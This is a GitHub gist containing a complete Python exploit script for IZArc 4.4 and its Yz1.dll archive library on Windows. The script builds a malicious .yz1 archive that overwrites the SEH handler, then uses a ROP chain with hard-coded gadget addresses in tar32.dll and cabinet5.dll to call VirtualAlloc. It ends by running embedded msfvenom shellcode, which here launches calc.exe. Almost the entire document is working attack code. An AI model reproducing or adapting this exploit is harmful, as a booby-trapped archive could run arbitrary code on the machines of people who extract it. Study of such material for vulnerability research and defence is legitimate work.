illikainen / yz1-exploit.py Secret

Created 2 years ago

Star

Code Revisions 1

yz1-exploit.py

```python
# Author
# ======
# Copyright (c) 2020, Hans Jerry Illikainen <hji@dyntopia.com>
#
# Target
# ======
# IZArc 4.4 running on Windows 10 64bit (although both IZArc and Yz1 are
# 32bit-only)
#
# Usage
# =====
# C:\python3-x86\python.exe exploit.py \
#       --dll C:\path\to\Yz1.dll \
#       --output archive.yz1 \
#       --align path-or-number-in-range(4)
#
# Note that the extraction path is suffixed the buffer with our payload.
# In order to overwrite the SEH on an appropriate DWORD boundary we have
# to make sure that the payload is aligned with regards to the
# extraction path.  This is done by taking the length of the extraction
# path (including the last '\') modulo 4.  Thus, we have a 1 in 4 shot
# for success if the extraction path is completely unknown.
#
# The `--align` argument can either take a path (in which case it's
# converted to an integer by `len(path) % 4`) or a number in the
# interval [0, 4).  See the writeup for an explanation on this ugliness.
#
# Also, while the bugs affect the newest version of Yz1 (0.32), the
# breakpoints are tailored for version 0.30 because that's the version
# shipped with IZArc.  Either download Yz1.dll 0.30 from the official
# site or use the DLL that comes bundled with IZArc.

import sys
from argparse import ArgumentParser
from contextlib import contextmanager
from ctypes import CDLL, c_uint, c_ushort, windll
from ctypes.wintypes import MAX_PATH
from multiprocessing import Process
from os import chdir, getcwd
from pathlib import Path
from shutil import rmtree
from struct import pack, unpack
from tempfile import TemporaryDirectory

try:
    import pykd
except ImportError:
    sys.exit(
        "The standalone pykd module is required.\n"
        f"Install it with '\"{sys.executable}\" -m pip install pykd'"
    )

# $ msfvenom -b '\x00' -f py -v shellcode -e x86/bloxor -a x86 \
#       -p windows/exec CMD=calc.exe
shellcode = b""
shellcode += b"\xe8\xff\xff\xff\xff\xc0\x5a\x6a\x05\x5b\x29"
shellcode += b"\xda\x6a\x43\x03\x14\x24\x5b\x52\x59\x8d\x49"
shellcode += b"\x02\x6a\x61\x5e\x0f\xb7\x01\x8d\x49\x02\x8b"
shellcode += b"\x3a\xc1\xe7\x10\xc1\xef\x10\x89\xfb\x09\xc3"
shellcode += b"\x21\xc7\xf7\xd7\x21\xdf\x66\x57\x66\x8f\x02"
shellcode += b"\x8d\x52\x02\x4e\x85\xf6\x0f\x85\xd7\xff\xff"
shellcode += b"\xff\x9e\x1f\x62\xf7\xe0\xf7\xe0\xf7\x80\x7e"
shellcode += b"\x65\x4f\xa5\x2b\x2e\x7b\x1e\xf0\x4c\xfc\xc7"
shellcode += b"\xae\xd3\x25\xa1\x0d\xae\xba\xe4\x9c\xd5\x63"
shellcode += b"\x79\x5f\x18\x23\x1a\x0f\x3a\xce\xf5\xc3\xf4"
shellcode += b"\x04\x16\xf6\x44\xa1\xcf\xf3\xdf\x78\x95\x44"
shellcode += b"\x1e\x08\x0f\x70\xec\x38\xed\xe9\xbc\x62\xe5"
shellcode += b"\x42\xe4\x91\x6f\xd8\x77\x3b\x4d\x72\xc6\x46"
shellcode += b"\x4d\x47\x9b\x76\x64\xda\xa5\x15\xa8\x14\x6f"
shellcode += b"\x2c\x8f\x59\x79\x5a\x04\xa2\x3f\xdf\x1b\xaa"
shellcode += b"\xff\xf2\x74\xaa\x50\xab\x83\xcd\x08\xc1\x43"
shellcode += b"\x4a\x1b\x56\x1a\x85\x91\x81\x1a\x80\xca\x09"
shellcode += b"\x8e\x2d\xaa\x76\xf1\x17\xa8\x4d\xf9\xb2\x19"
shellcode += b"\xed\x46\xb7\xcd\xa5\x26\x28\x7b\x42\x7a\xcf"
shellcode += b"\xff\x7d\xff\x7d\xff\x2d\x97\x1c\x1c\x73\x9b"
shellcode += b"\x8c\x4e\x37\xbe\x82\x1c\xd4\x74\x72\xe1\xcf"
shellcode += b"\x7c\x30\xa9\x0c\xaf\x70\xa5\xf0\x5e\x10\x2b"
shellcode += b"\x15\x90\x52\x83\x20\xec\x4a\xec\x19\x13\xcc"
shellcode += b"\x70\xad\x1c\xce\x32\xab\x4a\xce\x4a\x55"


```

```python
class EventHandler(pykd.eventHandler):
    _breakpoints = {}
    _pending_breakpoints = {}

    def __init__(self, breakpoints):
        super().__init__()
        self._pending_breakpoints = breakpoints

    def onLoadModule(self, base, name):
        for offset, cb in self._pending_breakpoints.get(name.lower(), []):
            if name not in self._breakpoints:
                self._breakpoints[name] = []
            self._breakpoints[name].append(pykd.setBp(base + offset, cb))
        return pykd.eventResult.NoChange


@contextmanager
def tempdir():
    cwd = getcwd()
    with TemporaryDirectory() as tmp:
        chdir(tmp)
        try:
            yield
        finally:
            chdir(cwd)


def errx(s):
    print(f"ERROR: {s}", file=sys.stderr)
    sys.exit(1)


def p8(n, order="<"):
    return pack(f"{order}B", n)


def p32(n, order="<"):
    return pack(f"{order}I", n)


def u16(n, order="<"):
    return unpack(f"{order}H", n)[0]


def u32(n, order="<"):
    return unpack(f"{order}I", n)[0]


def has_nul(n):
    return any((n >> (8 * i)) & 0xff == 0 for i in range(4))


def neg(n):
    value = c_uint(-n).value
    if has_nul(value):
        errx(f"-{n} contain NUL bytes")
    return value


def create_archive(dll, output, align):
    cdll = CDLL(str(dll))

    cdll.Yz1GetVersion.restype = c_ushort
    if cdll.Yz1GetVersion() != 30:
        errx("breakpoints are tailored for yz1 version 30")

    # fmt: off
    gadgets = [
        ####################################
        # SEH overwrite
        ####################################
        p8(0xff) * (2052 - MAX_PATH - align),

        # [00] tar32.dll
        #
        # add esp, 0x139c
        # ret
        p32(0x10015344) * int(MAX_PATH / 4),

        p32(0xffffffff) * 250,

        ####################################
        # VirtualAlloc() flProtect
        ####################################
        # [01] cabinet5.dll
        #
        # ret
        p32(0x7e0c15e5) * 100,

        # [02] tar32.dll
        #
        # pop eax
        # ret
        p32(0x10033825),
        p32(neg(0x40)),

        # [03] cabinet5.dll
        #
        # neg eax
        # ret
        p32(0x7e0c6a07),

        # [04] tar32.dll
        #
        # mov dword ptr [ebp + 8], eax
        # pop ecx                       ;; noise
        # mov eax, 0x10029e04           ;; noise
        # ret
        p32(0x10029dfa),
        p32(0xffffffff),

        # [05] tar32.dll
        #
        # dec ebp
        # or al, 0x75                   ;; noise
        # ret
        p32(0x1003def6) * 4,

        ####################################
        # VirtualAlloc() flAllocationType
        ####################################
        # [06] tar32.dll
        #
        # pop eax
        # ret
        p32(0x10033825),
        p32(neg(0x1000 - 1)),

        # [07] cabinet5.dll
        #
        # dec eax
        # ret
        p32(0x7e0c16d8),

        # [08] cabinet5.dll
        #
        # neg eax
        # ret
        p32(0x7e0c6a07),

        # [09] tar32.dll
        #
        # mov dword ptr [ebp + 8], eax
        # pop ecx                       ;; noise
        # mov eax, 0x10029e04           ;; noise
        # ret
        p32(0x10029dfa),
        p32(0xffffffff),

        # [10] tar32.dll
        #
        # dec ebp
        # or al, 0x75                   ;; noise
        # ret
        p32(0x1003def6) * 4,

        ####################################
        # VirtualAlloc() dwSize
        ####################################
        # [11] tar32.dll
        #
        # push 1
        # pop eax
        # ret
        p32(0x10033823),

        # [12] tar32.dll
        #
        # mov dword ptr [ebp + 8], eax
        # pop ecx                       ;; noise
        # mov eax, 0x10029e04           ;; noise
        # ret
        p32(0x10029dfa),
        p32(0xffffffff),

        # [13] tar32.dll
        #
        # dec ebp
        # or al, 0x75                   ;; noise
        # ret
        p32(0x1003def6) * 4,

        ####################################
        # VirtualAlloc() lpAddress
        ####################################
        # [14] tar32.dll
        #
        # push esp
        # add eax, 0x20
        # pop ebx
        # ret
        p32(0x10031fed),

        # [15] tar32.dll
        #
        # mov eax, ebx
```

```
    # pop esi                       ;; noise
    # pop ebx                       ;; noise
    # ret
    p32(0x1002f8ec),
    p32(0xffffffff),
    p32(0xffffffff),

    # [16] tar32.dll
    #
    # add eax, 0x20
    # pop ebx                       ;; noise
    # ret
    *[
        p32(0x10031fee),
        p32(0xffffffff),
    ] * 4,

    # [17] tar32.dll
    #
    # mov dword ptr [ebp + 8], eax
    # pop ecx                       ;; noise
    # mov eax, 0x10029e04           ;; noise
    # ret
    p32(0x10029dfa),
    p32(0xffffffff),

    # [18] tar32.dll
    #
    # dec ebp
    # or al, 0x75                   ;; noise
    # ret
    p32(0x1003def6) * 4,

    ####################################
    # VirtualAlloc() return address
    ####################################
    # [19] tar32.dll
    #
    # push esp
    # add eax, 0x20                 ;; noise
    # pop ebx
    # ret
    p32(0x10031fed),

    # [20] tar32.dll
    #
    # mov eax, ebx
    # pop esi                       ;; noise
    # pop ebx                       ;; noise
    # ret
    p32(0x1002f8ec),
    p32(0xffffffff),
    p32(0xffffffff),

    # [21] tar32.dll
    #
    # add eax, 0x20
    # pop ebx                       ;; noise
    # ret
    *[
        p32(0x10031fee),
        p32(0xffffffff),
    ] * 4,

    # [22] tar32.dll
    #
    # mov dword ptr [ebp + 8], eax
    # pop ecx                       ;; noise
    # mov eax, 0x10029e04           ;; noise
    # ret
    p32(0x10029dfa),
    p32(0xffffffff),

    # [23] tar32.dll
    #
    # dec ebp
    # or al, 0x75                   ;; noise
    # ret
    p32(0x1003def6) * 4,

    ####################################
    # VirtualAlloc() IAT in tar32.dll
    ####################################
    # [24] tar32.dll
    #
    # pop eax                       ;; IAT slot for VirtualAlloc()
    # ret
    p32(0x10033825),
    p32(0x100411a0),

    # [25] tar32.dll
    #
    # mov eax, dword ptr [eax]
    # ret
    p32(0x100297ce),

    # [26] tar32.dll
    #
```

```
        # mov dword ptr [ebp + 8], eax
        # pop ecx                        ;; noise
        # mov eax, 0x10029e04            ;; noise
        # ret
        p32(0x10029dfa),
        p32(0xffffffff),

        # [27] tar32.dll
        #
        # inc ebp
        # or al, 3                       ;; noise
        # ret
        p32(0x1003b3ba) * 4,

        ####################################
        # VirtualAlloc() -> shellcode
        ####################################
        # [28] tar32.dll
        #
        # mov esp, ebp
        # pop ebp
        # ret
        p32(0x1002e9e0),

        p32(0x90909090) * 5,
        shellcode,
        p32(0x90909090) * 200,
    ]
    # fmt: on

    with open("A" * 0x10, "wb") as f:
        f.write(b"".join(gadgets))

    # The contents of the files will be interpreted as a filename, so we
    # need a NUL to prevent an OOB read.
    with open("B" * 0x10, "wb") as f:
        f.write(p8(0x0))

    # fmt: off
    cmd = [
        "c",  # create
        "-i2",  # silent mode
        "-r0",  # non-recursive search
        "-x0",  # don't archive full paths
        f"\"{output}\"",
        "*",
    ]
    # fmt: on

    rv = cdll.Yz1(None, " ".join(cmd).encode(), None, 0)
    if rv:
        errx(f"yz1 failed with {rv}")

    rewrite_header(output)


def rewrite_header(output):
    """
    Rewrite the size of the archive filenames in the header.
    """
    with output.open("rb+") as f:
        f.seek(4 * 3)
        size = u32(f.peek(4)[:4], ">")
        size += sum(x.stat().st_size for x in Path().iterdir())
        f.write(p32(size, ">"))


def rewrite_filename():
    """
    Overwrite the terminating NUL-byte in the first filename.

    This effectively concatenates the first two filenames.
    """
    this = pykd.reg("ecx")
    buf = pykd.ptrPtr(this + 1036)
    buf_size = pykd.ptrDWord(this + 1040)

    files = list(Path().iterdir())
    files_hdr = len(files) * 4 * 2
    files_len = files_hdr + sum(len(x.name) + 1 for x in files)

    if files_len == buf_size:
        names = pykd.loadBytes(buf + files_hdr, buf_size - files_hdr)
        for i, byte in enumerate(names):
            if byte == 0:
                pykd.writeBytes(buf + files_hdr + i, [0x41])
                break


def get_image_base(dll):
    with dll.open("rb") as f:
        f.seek(0x3c)
        f.seek(u16(f.read(2)) + 0x34)
        return u32(f.read(4))


def run_pykd(py, dll, output, align):
    # fmt: off
```

```python
    cmd = [
        sys.executable,
        py,
        f"--dll=\"{dll}\"",
        f"--output=\"{output}\"",
        f"--align=\"{align}\"",
    ]
    # fmt: on

    base = get_image_base(dll)
    breakpoints = {"yz1": [(0x10011270 - base, rewrite_filename)]}
    pykd.initialize()
    pykd.handler = EventHandler(breakpoints)
    pykd.startProcess(" ".join(str(x) for x in cmd))
    pykd.go()


def abspath(path):
    return Path(path).absolute()


def parse_args():
    ap = ArgumentParser()
    ap.add_argument(
        "--dll",
        type=abspath,
        required=True,
        help="yz1 dll to use for archive creation",
    )
    ap.add_argument(
        "--output", type=abspath, required=True, help="output file"
    )
    ap.add_argument(
        "--align", help="alignment for the prepended extraction path"
    )
    ap.add_argument(
        "--overwrite", action="store_true", help="overwrite output file"
    )
    args = ap.parse_args()

    if not args.dll.is_file():
        errx(f"{args.dll} is not a file")

    if args.output.exists():
        if not args.overwrite:
            errx(f"{args.output} already exist")

        print(f"removing {args.output}")
        try:
            if args.output.is_file():
                args.output.unlink()
            else:
                rmtree(args.output)
        except OSError as e:
            errx(f"could not remove {args.output}: {e.strerror}")
    else:
        args.output.parent.mkdir(parents=True, exist_ok=True)

    if args.align:
        if args.align.isnumeric():
            args.align = int(args.align)
        else:
            args.align = len(args.align.rstrip("\\").rstrip("/") + "\\") % 4
    else:
        args.align = len(str(args.output.with_suffix("")) + "\\") % 4

    if args.align not in range(4):
        errx(f"--align should either be a path or a digit [0, 4)")

    return args


def main():
    if sys.maxsize != 2 ** 31 - 1:
        errx("32bit python required")

    args = parse_args()

    # Yz1 doesn't seem to release its locks on files it touches until
    # the module is unloaded.  Maybe PEBKAC, but neither FreeLibrary(),
    # pykd.killAllProcesses() nor pykd.deinitialize() seems to be enough
    # to get rid of it.  So, we let pykd/yz1 do their thing in a
    # subprocess to avoid the tempdir cleanup from failing.  Sigh.
    if not windll.kernel32.IsDebuggerPresent():
        py = abspath(__file__)
        with tempdir():
            p = Process(
                target=run_pykd, args=(py, args.dll, args.output, args.align)
            )
            p.start()
            p.join()
    else:
        create_archive(args.dll, args.output, args.align)
        print(f"=> created: {args.output}")
        print(f"=> extraction path alignment: {args.align}")


if __name__ == "__main__":
    main()
```